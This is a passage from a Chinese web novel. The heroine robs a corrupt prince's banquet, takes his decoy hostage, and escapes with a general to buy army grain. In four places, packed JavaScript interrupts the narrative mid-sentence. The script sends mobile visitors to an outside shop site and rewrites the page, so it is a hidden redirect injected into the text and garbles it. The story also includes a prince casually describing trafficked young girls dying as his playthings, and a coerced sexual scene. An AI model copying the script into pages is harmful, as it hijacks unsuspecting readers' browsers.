宗恂笑道：“王爷贴身之物，恂不敢僭越。一来恐落人口实，二来市井商贩眼拙，恐不识金玉，反令宝物蒙尘。” 他直切要害：“不若暂借些许黄白之物，权充近年军饷。待他日立下尺寸之功，定从赏赐中加倍奉还，绝不使王爷有分毫损失。” 梁上，燕风轻轻吸了一口气。 此刻她终于明白了，宗恂此行的目的竟与自己相同！只是她靠偷盗，他靠敲诈！ 她暗暗啧了一声，心道小宗将军于此道还是不如她熟练，实在激进了啊。 数万大军几年的粮饷，即便再如何俭省，那也是数十万两雪花白银。在他口中，却只化作轻描淡写的寻常黄白之物？ 而朝廷的赏赐又能有多少？ 就算是不世之功，也不能及这军饷零头，又何来的加倍奉还？是个会掰手指的都不能不会算这笔账。 果然裕王冷了脸，他搁下了酒杯，拿指节叩着白玉案板。 就在燕风以为裕王不耐要图穷匕见之时，他又好似什么也没发生一样，拿手指着堂中跪坐的舞女，对着宗恂笑问：“你可知他们是谁？” 宗恂不回他。 裕王也不恼，自答自问道：“本王听闻在两淮盐商聚集之地，兴起了个养粉头的买卖，专挑些瘦弱俊秀的幼女，悉心调养肌肤仪态，教些书画琴棋，箫笛管弦，过个几年便可卖个高价。买卖做着做着出了名，还得了一个卖吆喝的称号，叫扬州瘦马。” “前几年，本王一个下属，本意是好的，有孝心，花了近万两白银，买了几个好的，送来给本王尝鲜。个个都娉娉袅袅的，看着可人，但上手就硌得慌，没几两肉就罢了，稍微摆弄摆弄就死了，真是晦气。不过也难怪，南方那些低贱商贾嘛，就算年过半百，也似口边奶腥未退，头顶胎发犹存，十个里找不出一个带鸟的真男人。做他们的玩物，自要越纤弱越好，才能不显得他们阴盛阳衰。” “瘦马没意思，本王便自己养了这批观音娘。” 裕王觑了宗恂一眼，又笑道：“传闻锁骨观音为了度化世人，曾经化作延州一人尽可夫的娼妇，以色设缘，以欲钩牵。此非欲之欲，以欲止欲，方能令入佛智。本王之意，亦在于此。” 说罢，他轻轻拍了拍手。那乐师开始抚一首新曲，低吟婉转，又似有梵音潮海，听来甚奇异。 与此同时，那一十八个跪坐的美人，齐齐开始解繁杂华丽的发饰，手拢一头如瀑青丝垂在胸前。然后又开始宽解衣带，转眼间，便都衣着清凉聊胜于无，丰腴身姿一览无余。 “黄白之物，本王是没有的。但贤甥远道而来，本王也应当款待一二。此殿光景甚好，何不惜此良宵，大家同乐一番。” 他又对着一旁急忙捂眼睛，口中喋喋非礼勿视的郑鲤，邪笑道：“子越也是托了宗将军的福了。” 12. 龙阳好 此时正值春三月，又是在西北陇地，天气实在算不得暖和，风一吹，还有些刺骨。 但裕王体热喜凉，所以殿里并没有烧地龙，玉石所制的地板触来也是冰凉的。殿中那一十八个妙龄女子也不畏寒，赤脚赤膝，在地上爬行。 一半往宗恂身边去，另一半则围向郑鲤。 高髻未散时，尚是庄严肃穆的菩萨像。青丝披落，眉眼一转，便成了勾魂摄魄的狐娘，千娇百媚，簇拥而上。 换作寻常闺阁女子在暗处窥见，怕早已羞愤而逃。但燕风从小趴宫墙，这等阵仗，实在算不得什么新鲜。 她什么没见过？ 宫妃和侍卫，侍卫和宫女，宫女和太监，太监和太监……此时她半眯着眼睛，死盯的却是观音娘们褪下的那些衣物首饰。绫罗珠玉叠得像座小山。 她心道：哈，这下省力了！ 至于她那位将军老大，她忍不住愤愤瞥了他一眼。一个能借军役给红颜知己传情书的贵公子，此刻众美环绕，怕是只觉得如临仙境了罢。真是半点比不得他父亲！ 又过了片刻，那头的郑鲤虽口中不停地使不得使不得，但也半推半就衣衫褪了大半，偎在姑娘们心口取暖了。反观宗恂，自始至终未发一言，周身冷肃。那些女子近前几步，便被他目光逼退，竟显得他像尊出尘绝俗的佛子。 连燕风都忍不住高看他一眼。 裕王见此非但不觉扫兴，反而兴致更盛，抚掌笑道：“倒是本王思虑不周。俗话说得好：汝之蜜糖，彼之砒霜。观音娘虽好，与龙阳之乐却是南辕北辙。” 他意味深长道：“先前听人说兰香馆的婉姑娘原是个公子，本王还不信。今日见宗将军这般高洁不可侵的模样，却信了三分。” “不如这样，郑鲤也是个出色的，今日你们二人凑合取乐。不拘谁上谁下，谁走阳关，谁入谷道，只要尽兴便好。” 话音落下，宗恂神色未变，檐上的燕风却是一愣，殿中的郑鲤更是当场僵住。 回过神来，郑鲤把头摇得像拨浪鼓，可架不住身下几名女子身强力壮，竟像蚂蚁搬家似得，将他硬生生驮到了宗恂身边。形势比人强，他也只能扭捏地学那些姑娘，欲把毛茸茸的赤腿往宗恂身上架…… 燕风脑中一片混沌。 裕王这话是什么意思？婉娘怎会是个公子？她的老大到底是不好色，还是好男色？郑鲤那腿活像裹了毛毯的鸭翅膀，所以她要不要下去救一救上官？ 正纠结着，殿外忽然炸开一声侍女的尖叫。紧接着便像是开了盖的鸣沸汤，尖叫声一阵高过一阵，间或还夹杂着野兽的嚎叫。 裕王猛地喝道：“你竟敢设伏？也不看看这屋里都是本王的人！你自己跑得掉吗？来人！” 这一声令下，守在东西南北四角门旁的几个大汉立刻作势要朝宗恂冲来。 这动静激得燕风一个激灵。急智之下，她抬手抚风，隔空一拂—— 殿内灯火尽灭，只余裕王案上一盏本作装饰的小灯幽幽摇曳。 “啊啊啊！！！！” 更刺耳的尖叫骤然爆发：哭嚎、奔逃、桌椅玉石倾倒之声此起彼伏。也难怪众人慌乱，毕竟吹灭一盏蜡烛容易，隔着灯罩灭尽满殿灯火，这等手段，素来只在志怪话本里见过。 “守门！快守门！”有人吼道。 底下四名高手被迫放弃宗恂，转而死守角门，防止混乱中有人逃出或外头伏兵闯入。 燕风一愣：不该先护驾吗？ 机会这不就来了！ 三个女人一台戏，这殿里足足十八个。燕风一边嫌弃这炸裂的背景音，一边从屋顶纵身而下，直奔她早就看准的目标——那堆舞女褪下的珠簪绸缎。 小时候在宫里求生偷鸡摸狗练成的本事，此刻终于派上了用场。 待众人稍稍镇定，发现并无屠杀之祸，正要寻火折子点灯时，燕风已携新得的全套身家，悄无声息地潜到裕王身后。一双纤白素手绕上他的脖颈，卷了刃的刀片紧紧抵住他软嫩的喉管。 “殿里的人都听着！” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485518|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝道：“外头已被我的人包围，裕王的命，也在我手里。识相的，就把宗恂交出来。我放你们这些不相干的人一条生路。” “宗恂，你也不想你亲娘舅为你送命吧？” 宗恂：“……？” 这番话燕风是算计过的。她既不知宗恂的后手，也不愿坏了他的局。反正将至北境，想要宗恂命的人，多得是。 事实上，外头的动静也的确与宗恂无关。燕风耳力极佳，立刻辨出：那不是援兵，是她半个时辰前帮忙磨过笼子合页的野猪。夜黑路滑，那小猪闹出的动静，倒比人还大。 她正得意，忽觉外头忽然安静了。 下一瞬，外头有人高声回禀：“王爷恕罪，惊扰王爷雅兴。外头并无敌情，是昨日擒的野猪跑了，鲁大鲁二已将其堵在西院。” 殿门窗户紧闭，外头并不知内里灯灭，还以为方才惊叫是被吓着了。 燕风：“……” 她清了清嗓子，略显尴尬地补充：“裕王的命还在我手里，诸位莫要轻举妄动。把宗恂交出来。” “自然，自然。大侠息怒。”裕王拼命缩着肥厚的脖颈，哪还有半分方才的威风。 忽然，四股劲风自四方袭来，兵刃的寒意扑面。燕风汗毛倒竖，心中警铃大作，这四人竟全然不顾主子死活！她当即矮身闪避，同时将匕首移至裕王后心。 “住手。”开口的是宗恂。 劲风骤停。 四把兵器齐齐指向她方才立足之处，如今那儿只剩裕王一根脖子，勉强支着已被吓昏的脑袋。 燕风心下一惊：莫非这四人是宗恂的人？ 她屏住呼吸，忍着尿骚臭味，绕过裕王肥胖的身躯朝外看去。 却见宗恂不知何时点起一根火折子。微弱火光下，他手持一片锋利的碎瓷，稳稳抵在一人苍白的脖颈上。 “请诸位退下，”他淡淡道，“否则我手中这位，怕是要吃些苦头。” 那脖颈的主人， 正是方才还唯唯诺诺的郑鲤。 13. 赝品 郑鲤连忙求饶：“宗将军，你劫我作甚？我不过是一个没官身的老儒生，来王府里做幕僚混口饭吃。你们神仙打架，拿我这种小人物当人质有什么用？” “朱祁煴，你若真把自己当小人物，那便最好。” 宗恂在他耳边低笑，“我此番是应裕王之约而来，行伍之人粗手笨脚，途中若不小心斩了几个无关小人物的手脚，只要不伤性命，想来也无伤大雅。可惜我没带趁手的刀，只有这几口碎瓷，手快瓷钝，是得受些罪。” 殿中众人听得脊背发寒，不自觉都缩了缩手脚。 燕风此时方才恍然：她想起自己那坐在龙椅上的生父，似乎名字也叫“朱祁”什么来的。 难怪那四大高手对她的威胁无动于衷。合着她忙活半天，挟持的竟是个赝品！ “你是何时识破的？” 郑鲤，如今该称裕王了，敛起先前怯懦之态，眉目间隐约浮起为尊者的威仪。 宗恂语带讥诮：“你我亲舅甥，舅舅莫非忘了早年曾上京探亲？” 他自然不会承认这些年一直暗中探查对方行迹，心里早对他的形容习惯有了底。 裕王当然是不信的，他最后一次上京时宗恂还是个不记事的奶娃娃。 但这问题已非眼下关键。 裕王又问：“你想如何？与我撕破脸，岂不让燕京那懦夫看笑话？唇亡齿寒的道理你不懂？若我倒下，你以为还能如现在这般拥兵自在？” “舅舅此言差矣。你是拥兵自重的藩王，我不过是蒙祖荫混日子的纨绔子弟，怎敢与你相提并论？岂不辱没舅舅威名？” “不过舅舅放心，我虽不知你邀我前来的用意，却还记得自己的本分。真有过不去的坎，也是明刀明枪地来，绝不做那等下作之事，折辱舅舅尊严。” 宗恂这人，平时看着正派和气，真动了怒，嘴上也是不饶人的。 燕风瞥到灯光下裕王那若隐若现的毛腿，忍不住扑哧笑了一声。 这笑在人人缩成鹌鹑，静可闻针的大殿里，多少有些不合时宜。眼看着裕王的脸色由白转红又转黑，燕风生怕宗恂下一秒就喊出她的名字，这样世上又平白多一个想灭她口的大人物。 她福至心灵，当下就探出脑袋喊道：“宗将军，多谢您救孙某一命！是在下错怪您了！您放心，今夜之事我孙为绝不向外透露半分，否则就叫我孙为不得好死，永世不得超生！大恩不言谢，若您能把我带出去，往后有什么事儿，您就遣人去括州府青桥县的孙氏祠堂寻我爷爷，就说您救过不肖子孙孙为一命，我孙氏全族必当结草衔环以报！” 孙为何许人也？江鱼从前八卦，曾和她念叨过他们县一件有名的案子：一名叫孙为的杀人凶手因家中长辈在京为官，竟被袒护出狱，纵然民怨沸腾，最终也不了了之。 燕风暗自得意：可见八卦也并非全无益处，若裕王真信了这番说辞去找孙家麻烦，也算她做了件好事。 宗恂眉梢微挑，笑道：“孙兄弟既肯回头，我自然成全。既然如此，便请裕王殿下行个方便，让我与孙兄弟平安出府。舅舅应当明白，咱们舅甥之间，还是以和为贵的好。” “贤甥说得是，本就是误会，送你出府是应当的。”裕王勉强笑道，“只是这姓孙的反复无常、狡诈阴险，此刻说得好听，难保日后反咬一口。不如将他交给本王处置？” 燕风狠狠瞪了裕王一眼，心道你个老不羞的，自己做尽见不得人的阴私事，倒想害我性命？ 宗恂朝燕风递了个眼色：“舅舅多虑了。若他真是恶人，自有恶人来磨。我只管带他出府，结个善缘。往后如何，便非我能左右了。还请舅舅通融。” 意思是他只要孙为平安出这王府，待出了王府，你裕王要杀他还是剐他，他都不管。 这已是让步了。 裕王能怎么办，他的脖子还在人家手里握着呢！ 再者，这姓孙的装神弄鬼，也有些本事。若真当场发作起来，倒不是不信埅论山四大弟子的本事，但这种刀剑无眼的事情，他本人还是不要在场的好。 他暗自揣测：宗恂执意保下这姓孙的，多半是想多个目标分散追兵，给自己添些麻烦。罢了，一个无关紧要的小角色，日后再擒不迟。 于是只得点头应允。 要出府也简单。只要强令那四位高手守在殿内，不要随他们出来，等他们挟持裕王都到了安全的地方，再让裕王本人步行回去即可。 聪明人之间，一旦达成“彼此加害暂无益处”的共识，再剑拔弩张的挟持也能化作闲暇散步。 宗恂半揽着裕王走在前面，外袍遮掩下，手指仍虚扣在其颈间。 燕风为避嫌，则落后三步跟随。 府中偶有仆从经过，却都训练有素地垂首避让。毕竟他们在王府待久了，什么事情都司空见惯，早已养成了万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485519|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事不关己的工作态度。故而从外人看来，只见二人举止亲近，言笑晏晏。 说笑什么呢？ 耳力强如连燕风也听不真切，只捕捉到零星几个音节，字不成句的。 他们身后，四大高手并未全然听从命令。燕风能察觉至少两人暗中尾随，但距离尚远，她估摸着仍在安全范围内，便也未作声张。 踏出府门的刹那，燕风便像只被踩了尾巴的猫，一脚蹬上了门口一棵大树，借着树冠的遮掩又窜到附近民房的屋顶，几个腾挪跳转，把后面那些尾巴们炸了个出其不意。待确认无人跟上，她又悄无声息地折返。 宗恂和裕王还在‘依依话别’。夜色昏蒙，只见宗恂似从裕王怀中取走一物，又附耳低语几句。裕王面露惊愕，二人又交谈片刻，方才真正分离。 出了王府，回去的路便顺利多了。 宗恂不慌不忙走在出城的路上，路上无人，倒显得他闲适自在。待走到城门口，守夜的小兵早收到了信，给宗恂开了个小门。 燕风和来时一样跃过了城墙。只是这回，她腰间缠裹着十余件顺来的绫罗绸衣并珠宝首饰，虽则她能以风息压制金属碰撞之声，但白衣在夜色中终究太过醒目。 那小兵揉了揉眼睛，心中惊惧。这矮骆山下的诡奇传闻，今夜又添上了一笔。 城门在身后阖拢。燕风仍不敢大意，直至宗恂身影没入城外密林，方从藏身的树梢跃下，与他并肩同返营地。 她心中忐忑。 今夜这趟，虽然收入颇丰，但偷盗的行为总是有些难以启齿，再加上中途竟恰好撞见上官险些受辱，这份尴尬程度简直足以令人以死谢罪。 她心底有个小人嘶喊：“你怂什么？若不是你未雨绸缪放出那只小猪引起骚乱，宗恂此刻怕是清白难保！” 另一个小人急忙掩住前者的嘴：“快别说了！想起那场面我脚底都发麻！” 如此思绪翻飞之际，宗恂忽然开口：“那孙为是谁？” 这个问题倒不难回答。 “哦，南边一个重犯，十恶不赦，但是仗着家里的背景现在还逍遥法外，听说家里长辈有做到朝中二品大员的。” 宗恂低低“嗯”了一声，便不再言语。 这俩人轻功都好，又是埋头赶路，不一会儿就翻了半座山，枝桠掩映中，营地哨塔的灯光已经近在眼前了。 宗恂却忽然停了下来。 14. 闲话 燕风心中一紧。 怎么了？莫非有贼人追来？难道是裕王老贼咽不下这口气，乘虚而入了？？ 宗恂抬手虚拦在她身前，止住她欲上前探查的动作，望了望天色。 “寅时将至，等哨塔换防后再回吧，少些是非。”说罢便撩袍在一块大石上坐下，闭目养神。 燕风一愣，腹诽道：你一个主将回自家营地，怎么跟做贼似的？ 却也无奈，只好挨着另一块石头坐下。只好辛苦江鱼他们再多等片刻罢。 突然一个问题炸在她脑子里。 “将军，您出来难道谁都不知道吗？这一路不见接应，连回去都要躲躲藏藏？” 宗恂眼也未睁，轻声道：“嗯，眼下确只你一人知道。这样也好，倘若日后走漏风声，我也清楚该找谁问话。” 燕风：“……” 她心中默念三遍“这是恩公之子”，强作镇定道：“这如何使得！裕王府分明是龙潭虎穴，您孤身涉险，竟不交代后手？那万一出事……” 宗恂反问：“你不也是独往独来？怎么轮到自己就不怕？” 燕风心想我哪知道正主还在里头，嘴上却不服输：“我的轻功，将军也是见过，既能潜进去，自然有把握脱身。” 宗恂只“嗯”了一声。 燕风等着他的下文，他却又不说话了，老僧入定似的。她顿觉无趣，随手揪起脚边草叶，百无聊赖地扯着玩儿。 过了一会儿，宗恂的声音毫无征兆地响起，竟学着她的口气：“我的剑法，你也是见过的，我既去的，自然也有把握回来。” 燕风诧然抬眼。 黑暗中只见他轮廓依旧沉静，她却直觉他在笑。 她撇撇嘴：“罢了，实话同您说。若知裕王未走，我绝不会去。不过是见军中粮草吃紧，想顺些东西救急。” 说着解下腰间累累赘物，钗环叮当作响。不愧是老手，这一大堆缠在身上竟不显得违和，方才灯火晦暗，谁也没瞧出这膀大腰圆的刺客还是个小贼。 “瞧，我运气不差，这趟没有空手。估摸着能换几千两银子。倒是您，明知凶险还要独闯。那四个大汉皆是高手，若非裕王那么，呃，别出心裁，今日结局还真难说！” 宗恂轻笑：“能如何？最坏不过赔上性命。对旁人未尝不是好事。军饷本就一年一拨，今年这份也非国库所出，且早已发下。大军若失主帅，北征作罢，众人拿着银钱还乡，岂不顺理成章？” 燕风一噎，这天被聊死了。 她低头装作收拾今晚得来的财物，过了一会儿才试探地问：“宗将军，您该不会是……不想活了吧。” 这可不就是来找死吗？ “您放心，我绝不外传。如今世风如此，人心难测。纵是天潢贵胄，高门深院里腌臜事只怕更多。这点我比谁都清楚。偶尔消沉些，也寻常。” 她忽然想起从前营里那个总乐呵呵的小个子，便学起他说话的语气。 那小个子只比她长一岁，昔日军营里孤儿们比武，两人总是一个倒数第一，一个倒数第二。可每回都是倒数第一的他，反过来安慰她这个倒数第二，说话一板一眼，偶尔夹几个她不懂的新词。 “不瞒您说，我也有过……非常非常艰难的时候。” 燕风挪到宗恂身侧，望着漆黑林野，开始回忆往昔。 三年前那场大难，她虽侥幸逃脱，却已在仇家面前露了相。 彼时她顶着一颗光头太过惹眼，身手亦远不及今，几番围追堵截，终至穷途末路。藏身的地方附近有个臭水沟，她看了会儿，觉得勉强也能淹死人。她太累了，竟觉得这样了结也还不错。 “旧事不提。总之那时我站在沟边，心想死了算了。偏巧路过个乞丐，你猜他怎么说？” “劝你莫寻短见，好生活着？”宗恂难得接了句好话。 燕风就知他会猜错，转头龇牙一笑，得意道：“非也。他说我生得好看，横竖要死，不如死前便宜他一回。他这辈子还没睡过活人。不答应也行，他可等我淹死后再从沟里捞起来。” “你说，他是不是很坏？” “嗯，你如何应对？” “我自然是杀了他。那是我此生杀的第一个人。”她声音沉下去，又骤然扬起，“自那以后我便发誓，绝不再寻死。就算不择手段，也要活下去。” “因为人一死，便永远失了力气。不独自己，连同你在意的一切。纵使他们沉进臭水沟，被乞丐玷污尸身，你的魂魄也只能在上头干看着，无能为力。可若活着，纵使改不了恶果，但若再有宵小撞上来，你还能提刀，来一个杀一个，来两个杀一双。” 她语气狠厉，似仍浸在那次杀戮的快意中。 宗恂没有答话，只静静侧首看她。燕风被他看得发毛，良久才听他低笑一声：“挺好。” 接着他换了个话题：“你冒险取这些，是为解军中燃眉？难为你了。可曾想过，金银到手后，如何换作粮草？” “将军若有门路，自然全凭安排。若没有，我也思量过。” 燕风随手折了根枯枝，在地上划拉起来。 “陇地的粮食就不用想了。一则这里本就山多地瘠，再加上还有裕王这只进不出的巨贪，从前靠着庆集这块肥沃平原，百姓的日子还凑合能糊口。现在庆集这一块被边鞑人掳了，无人再敢来耕种，不出现大片的饿殍就算是运气了，根本不可能再有余粮卖给我们。” “二则是陇地毕竟是裕王的地盘，我们今晚这趟虽不算真动了手，但也结了梁子，从他的地盘买粮，也不是明智之举。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485520|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “三来……”她顿了顿，“将军也要为将来考虑，就算裕王真昏了头，将私藏军粮给您。您家人尚在京城，您自己也终有一日要回去的。” 她言下之意分明：裕王与今上早已势同水火，眼下未撕破脸，不过因彼此都无力一口吞下对方，这才遣来宗恂这块问路石。虽然独善其身绝计是不可能的了，但也该尽量避免授人以柄。 宗恂挑眉，倒未料她思虑至此。“依你之见，该往何处购粮？” 燕风笑了：“将军早有成算，又何必明知故问呢？” 宗恂勾了勾唇角：“我确然是想到了一条法子，但却苦于找不到一个合适又信得过的人。” “合适的人选我倒是有一个，但不知道将军信不信得过。”燕风斟酌道。 “合适便够了，既是你举荐，自然信得过。” 燕风微微瞪大了眼。他竟如此痛快？ 说起来，他们碰面到现在不过大半月，说话的时间统共加起来也不过几柱香的功夫，什么时候有了这般的交情和信任吗？ 话说到这个份上，燕风也不好再卖关子，坦诚道：“其实这个人选便是我自己。” “那真是再好不过。听闻有一类人于山川地形过目不忘。燕姑娘一路随行未见差池，想必精于此道。渭水支流纵横，欲将粮草自南方盐淮富庶之地平安运来，确需你这般的引路人。” 燕风勉强笑了笑：“将军客气。” 这话其实大错特错。她并不擅记路，甚至十分擅长迷路。但唯独从北境经陇地南下这段水路，世间怕再难寻出第二人比她更熟。 无他，三年前被追杀时走的正是此道。几番生死边缘的逃亡，今生怕是再忘不掉了。 但宗恂能如此理解也好，省去她许多麻烦去解释。 “走水路自然是最稳妥了的，但是如此大批量的运粮，依然很难做到神不知鬼不觉。其他关口还好，本就贸易繁杂，就算被人刁难，使些银子便罢了。就怕是被裕王的人发现，刻意报复咱们。” 她细想了下，买到粮并不难，把粮食运回来才是难关。 “这倒不必忧心。此事上裕王纵不相助，也绝不会为难。” 燕风心下狐疑，但回想到方才脱身时宗恂和裕王那一番惜别，又觉得这两人若是达成了什么交易，倒也没什么奇怪。 “可将军真愿信我？若我携款潜逃，一去不返呢？” 宗恂温和道：“那便是我识人不明，怨不得你。何况这些财物本就是你所得，纵全数带走，亦是应当。不必因此挂怀。” 燕风这回眼睛瞪得溜圆。 所幸夜色浓重，谁也瞧不见谁的脸。 这是什么欲擒故纵的御下之术吗？明明他才是老大，怎么话说得像个盼浪子回头的小媳妇？ 15. 启程 燕风强压下心头怪异的感觉，清了清嗓子。 “将军如此信任，属下受宠若惊。另有一事，此行可否带上江鱼？一来多一个帮手，二来我们两人可以扮作兄弟，一路同行也比一人独行来得更不招人眼。” 三来，她在心中暗道，多一人看着我，您也更放心不是。 “这是自然。陈青也一并带上吧，我看你们近来走得近，就一起去吧。” “属下遵命，定不辱命，早日归来。”燕风行了一礼，暗想：原来陈青才是将军派来盯着我的心腹？ 倒是合理，确实处处都算出类拔萃。 * “这么说，咱们这次出的算是个公差？” “嘘！”陈青连忙朝江鱼做出个嘘声的动作，“你这么大声想把人都吵醒吗？” 江鱼飞了个白眼，但也放低了声音，气声道：“拜托，咱们这里离营地足有三四里，隔了半座山。连竹子都砍上了，我说句话怎么了？” 放在平时，江鱼是绝不会顶她的陈大哥半句嘴的。但若是三更半夜突然被叫起来去林子里伐竹造船，任是谁，口气都会臭一些。 陈青噤了声，大概也是觉得自己太过紧张了。 江鱼得了理，忍不住接着轻声抱怨：“若是公差，怎么还需要这么偷偷摸摸的，大半夜起来干活。连船都要自己现砍现做。” 她正清理竹枝，手上已被毛刺划了好几道口子。 “将军这么吩咐自有他的道理。咱们只管听命就行。”陈青负责伐木，他避开了大竹子，只砍小竹子。但就算是小竹子，他也要在倒下的瞬间去扶一把，生怕动静太大惹人注意。 “我倒觉得这差事不错。咱们顺着渭水，一路都是富庶的地方，肯定饿不着。再说，不用上战场你还不乐意？现在抓把劲早点把这船造好了，顺着地势水流，在船上你想睡多久睡多久，好过我们用两条腿，上山下山劳碌命。” 燕风一边说一边绑藤条，她今夜心情不错，一想到身边这堆白花花的珍珠首饰能换来成船的粮草，她手上的劲儿都大了一些。 江鱼拔完了手上的竹刺，趁等陈青递新竹子的空当，好奇地往燕风手上打量：“燕哥，你方才说今晚就能造一条竹筏，真的假的？我老家三叔公年轻时候也做过造船的营生。听他说，造条好船最少也得几个月呢！” 燕风打了个哈哈，心虚道：“你也说是好船嘛！青桥县我知道。就在澄河边上，那水又宽又急，可不得花时间好好造船嘛。可你看咱这儿，水道又窄又浅，根本淹不死人。若是天气再暖和点，咱们每个人抱条竹子漂着走也使得的。” “燕哥，这可使不得。咱本来就没几套换洗的衣服。”江鱼悄悄指了指正陷入忘我境界砍树的陈青，嘴上却道：“这天气风一吹，伤了风可不是闹着玩的。” 燕风心下了然：陈青还不知道她们的女子身份，要是落了水肯定是一番麻烦。 她拍着胸脯安慰江鱼：“放心，你燕哥你还信不过？老手艺人了。方才我不过随口一说罢了。” 心里却想：若是这竹筏子若真是不幸阵亡，大不了把换洗的衣服先紧着江鱼，反正自己皮糙肉厚不怕冻。 要紧的是，走水路要比陆路节省不少时间。她倒是愿意爬山，宗恂的粮仓可等不了。 三人齐心协力忙活了一整夜，到天蒙蒙亮的时候，终于大功告成。待分配过了食物衣物还有最重要的珠宝首饰，三人叽叽喳喳地终于上路了。 “我以前从没有觉得一晚上时间竟然有这么长。” “肚饿难忍了，可有早食？” 一阵悉悉索索。 “哎，出远门第一顿就是凉的，要是有碗热粥泡着吃该有多好啊。” “燕哥，知足吧。若不是我平时饷营里杂活做的多，有点自己的门路，这几个硬窝头咱也吃不到呢！这趟公差出得委实憋屈。” “我知道，这不是随便一说吗。老话说得好，由奢入俭难。从前一路都这么过来的，也没觉得多受罪。” “好了，少说话，早点吃完，趁着天还没大亮眯一会儿吧，我替你们盯着。等会儿日头大了，想睡都难了。” “那我先睡几个时辰，待会儿再来接你的班。正好我记得还有好一段水路才到下一个岔口。陈哥辛苦你了，记得盯一下防护绳，别让它松了。鱼弟，你靠过来些，我们挨着一块睡，免得等会儿掉下去。” 真是困了，微微晃荡的竹筏像一张让人安心的摇篮。燕风闭上了眼睛，瞬间沉入黑甜的梦乡。 * “不行不行，我得歇歇。”鲁二瞅见路边有块挺平整的石头，一屁股坐了下来。 鲁大皱眉：“我说你真是白长了这个子。一路走走歇歇的，和娘们似的。出来的时候，我可是答应了你嫂子，最多一个月就回去的。哪晓得又出了这档子事儿。青桥县这么远，一来一回，都不知道家里那崽子还认不认得老子。” “哥，你以为我不想早点回去？可你看这日头，从昨夜里到现在，少说我们也走了有七八个时辰了吧。除了你，谁来了也遭不住。” 鲁大抬头望了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485521|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望，“还真是，这林子密实不透光，日头下不下，里头都差不多。怨我，埋头赶路，连时间都忘了。” 他也坐下，掏出干粮水囊递给弟弟，“确实是难为你。这事儿主要怪那个姓杨的，仗着给裕王爷献了几个男娃就觉得自己得脸了，那神气的！咱兄弟俩不过就是猎户出身，林子里追追野物还行。竟然被他指去青桥县寻那个蟊贼。明明就是他无能，一个大活人眼见着就追丢了，还说什么人手不够，我呸！” “哥，丽娘说那蟊贼邪乎得很，吹口气殿里的灯就全灭！咱要真遇上……” “慌什么，你当那蟊贼傻？咱们裕王是什么人物，在他面前自报家门是嫌自家人命太长了？那什么青桥县什么孙为，估计都是那蟊贼顺口胡诌的。有没有这号人都难说呢！咱这趟就走个过场，去那地方看看，决计遇不到那蟊贼的。就算歪打正着那地方真有叫这名字的，找人画个像带回去就能交差了。” “倒是你啊，别老是和那丽娘混在一块儿。虽说她不起眼，但总归是裕王的人。要是让裕王心里膈应了，你知道什么后果！” “得了，哥，你越说越离谱。咱们俩不是没见过那个蟊贼嘛，我当然得问问。你放心，我心里有数……” “什么声音？”鲁大突然一脸警惕。 “哥？” “嘘！”鲁大猫着身子慢慢起身，朝那声源，交叉着腿悄悄踱出几步。 鲁二会意，也默默放下了嚼了一半的干饼，从背囊里轻轻地抽出了短弓。 突然一阵枝叶断碎之声。 这次两兄弟都看见了，一个黑影骤然地从那角落奔出，朝着远处飞逃而去。 鲁大反应极快，瞬间便紧追那黑影而去。 他是土生土长的陇地猎户，对林子的地形十分熟悉，路上茂盛的荆棘枝条拦不着他。若非刚奔波了整日腿脚酸乏，山上跑得最快的麂子也难逃他追击。 与此同时，鲁二也朝着那黑影的方向，往密林里咻咻咻连发三箭。他们鲁家兄弟紧密配合多年，早有默契，是陇地最出名的猎手。 前头逃命的陈青瞬间渗出冷汗。他咬紧后牙，也不管地上有无尖刺枝桠，发猛往一侧地上扑倒。 三支短箭依次钉入他本该跑过的地方，最后一支甚至擦过了他的手臂。 他心里一惊，心道绝不能把这两人引到老巢，但密林里的追逐战对上这俩个猎中老手更是下下之选。 唯有转身迎战，或有一线生机。 